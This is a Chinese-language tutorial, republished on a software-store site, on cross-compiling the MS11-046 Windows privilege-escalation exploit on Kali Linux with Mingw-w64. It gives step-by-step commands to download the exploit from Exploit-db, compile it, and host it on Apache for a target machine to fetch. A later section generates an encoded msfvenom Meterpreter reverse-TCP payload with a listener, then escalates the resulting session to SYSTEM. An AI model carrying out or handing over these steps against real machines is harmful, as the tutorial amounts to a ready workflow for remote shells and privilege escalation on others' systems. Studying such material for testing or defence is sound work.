商城首页欢迎来到中国正版软件门户

您的位置: 首页 > 文章列表 > 系统应用 > 在Kali Linux上编译Windows漏洞的方法

在Kali Linux上编译Windows漏洞的方法

  发布于2026-05-31 阅读(0)

扫一扫,手机访问

## 如何在Kali Linux上编译Windows漏洞 Mingw‑w64 是一个自由、开源的跨平台开发环境,专门用来生成 Windows 应用程序。最初它叫 Mingw32,只支持 32 位架构,后来才扩展到 64 位。本教程要聊的,就是怎么在 Kali Linux 上利用 Mingw‑w64 编译 Windows 漏洞利用程序。废话少说,先来安装它。 ### 1、在Kali Linux上安装Mingw-w64 默认情况下,Kali Linux 2016.2 及更早版本是不带 Mingw‑w64 的,所以必须先手动装上才能玩。执行下面两条命令就行: ``` apt-get update apt-get install mingw-w64 ```

在Kali Linux上编译Windows漏洞的方法

看到提示后输入 `y` 确认,接下来就是等待下载和安装完成,时间可能会有点长,视网速而定。 ### 2、无法找到程序包mingw-w64的解决方法 有时候运气不好,安装时会碰到一个尴尬的错误:`E: Unable to locate package mingw-w64`。比如这样: ``` root@kali:~# apt-get install mingw-w64 Reading package lists... Done Building dependency tree Reading state information... Done E: Unable to locate package mingw-w64 ``` 问题多半出在 `sources.list` 文件里——里面的软件源地址不对。用 nano 打开文件: ``` /etc/apt/sources.list ``` 确认里面填的是正确的 Kali 源。不同版本的 Kali 对应的源可以在官方文档找到: [http://docs.kali.org/general-use/kali-linux-sources-list-repositories](http://docs.kali.org/general-use/kali-linux-sources-list-repositories) 改好之后,先 `apt-get update`,再重新运行 `apt-get install mingw-w64`,一般就能顺利装上了。 ### 3、用Mingw-w64交叉编译Windows漏洞利用 装好工具,接下来就是实战。这次我们拿一个经典的漏洞来练手——Windows 7 SP0 x86 上的 CVE‑2011‑1249(MS11‑046)。这个漏洞出在辅助功能驱动(AFD)里,允许已认证的非管理员用户提升权限。虽然 Mingw‑w64 是为 64 位设计的,但照样能编译 32 位的漏洞,正好拿它演示。 先从 Exploit‑db 把漏洞源码下载下来: ``` wget --output-document=40564.c https://www.exploit-db.com/download/40564 ``` 然后交叉编译成 32 位 Windows 可执行文件: ``` i686-w64-mingw32-gcc 40564.c -o exploit.exe -lws2_32 ```

在Kali Linux上编译Windows漏洞的方法

编译完成后,用 Kali 自带的 Apache 把这个 exploit 托管起来,方便目标主机下载。最后两条命令把 exploit 复制到 Apache 根目录并启动服务: ``` cp exploit.exe /var/www/html/ service apache2 start ``` 在目标 Windows 7 上通过 cmd 下载并执行 exploit,效果如下:

在Kali Linux上编译Windows漏洞的方法

注意看 `whoami` 命令的输出:执行 exploit 之前是普通用户,之后变成了 `SYSTEM`。而且这个漏洞利用是在当前 shell 中直接生成一个新的 shell,不是另开窗口,所以从命令行的 Meterpreter 里也能直接跑。 ### 4、利用编译错误 跨平台编译时,错误几乎是家常便饭。原因多种多样:语法问题、缺少库、主机与目标架构不匹配、编译器版本不对等。有些错误改改就行,有些则比较棘手。另外要区分警告和致命错误——警告通常只是提示某些过时的写法,不影响最终利用;致命错误则会阻止编译,必须修复。 处理这些错误的最佳策略是:仔细读报错信息,然后丢到 Google 上搜。绝大多数时候你不是第一个踩坑的人,Stack Overflow 之类的网站已经给出了解决方案,没必要自己重新发明轮子。 ### 5、从Meterpreter shell中利用MS11-046 先用 Msfvenom 快速生成一个 32 位 Windows Meterpreter 反向 TCP 载荷: ``` msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=[攻击机IP] LPORT=4444 -e x86/shikata_ga_nai -f exe -o exploit.exe ``` 记得把 `LHOST` 换成你自己的 Kali IP。接着启动 `msfconsole`,配置多处理器: ``` use exploit/multi/handler set lhost [监听IP] set lport 4444 run ```

在Kali Linux上编译Windows漏洞的方法

然后让目标主机下载并执行这个 `exploit.exe`,如果一切顺利,msfconsole 上就会弹回一个 Meterpreter shell:

目标主机连接回Kali

在 Meterpreter 里先输入 `shell` 进入命令行,然后运行之前编译好的权限提升漏洞,shell 级别直接升到 `SYSTEM`:

特权升级攻击通过我们的Meterpreter会话成功执行

注意:这个漏洞是在当前 shell 里生成一个新的 system shell,所以旧 shell 的输出不会显示。你可以输入 `exit` 退出 system shell,返回到之前的用户 shell,就能看到漏洞利用输出的文字:

特权用户shell上的exploit输出

### 学到的东西 通过这个教程,我们掌握了在 Linux 上交叉编译 Windows 漏洞的基本流程:安装 Mingw‑w64、解决常见的源问题、实际编译一个 MS11‑046 漏洞,并在目标主机上成功执行,把普通用户 shell 提升到了 system 级别。同时也知道了,这类漏洞会在当前 shell 内部生成一个新 shell,所以从 Meterpreter 这样的命令行 shell 里也能直接调用。最后,我们还聊了怎么应对编译中遇到的错误——大多数情况搜一搜就能解决。交叉编译并没那么神秘,动手试试就能摸清门道。
本文转载于:https://www.jb51.net/os/other/545317.html 如有侵犯,请联系zhengruancom@outlook.com删除。
免责声明:正软商城发布此文仅为传递信息,不代表正软商城认同其观点或证实其描述。

热门关注